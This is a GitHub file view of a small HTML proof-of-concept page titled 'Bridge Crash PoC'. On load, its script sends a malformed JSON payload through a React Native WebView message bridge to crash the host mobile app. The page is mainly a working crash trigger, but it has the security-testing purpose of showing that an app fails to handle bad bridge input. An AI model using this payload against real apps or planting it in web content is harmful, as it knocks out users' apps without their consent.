-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathcrush.html
More file actions
40 lines (40 loc) · 1.15 KB
/
crush.html
File metadata and controls
40 lines (40 loc) · 1.15 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Bridge Crash PoC</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<style>
body {
background-color: #000;
color: #0f0;
font-family: monospace;
padding: 2em;
}
h1 {
color: #ff0;
}
</style>
</head>
<body>
<h1>Native Crash Trigger</h1>
<p>If you're seeing this, the payload has been sent to the app's native bridge.</p>
<pre id="log">Sending malformed payload to native bridge...</pre>
<script>
const log = msg => document.getElementById("log").textContent += "\n" + msg;
try {
if (window.webkit?.messageHandlers?.ReactNativeWebView) {
log("ReactNativeWebView handler detected.");
// Malformed JSON payload – expected to crash native app if not handled
const payload = "{unclosed_json:";
window.webkit.messageHandlers.ReactNativeWebView.postMessage(payload);
log("Payload sent: " + payload);
} else {
log("ReactNativeWebView handler not available.");
}
} catch (e) {
log(" JS Exception: " + e.message);
}
</script>
</body>
</html>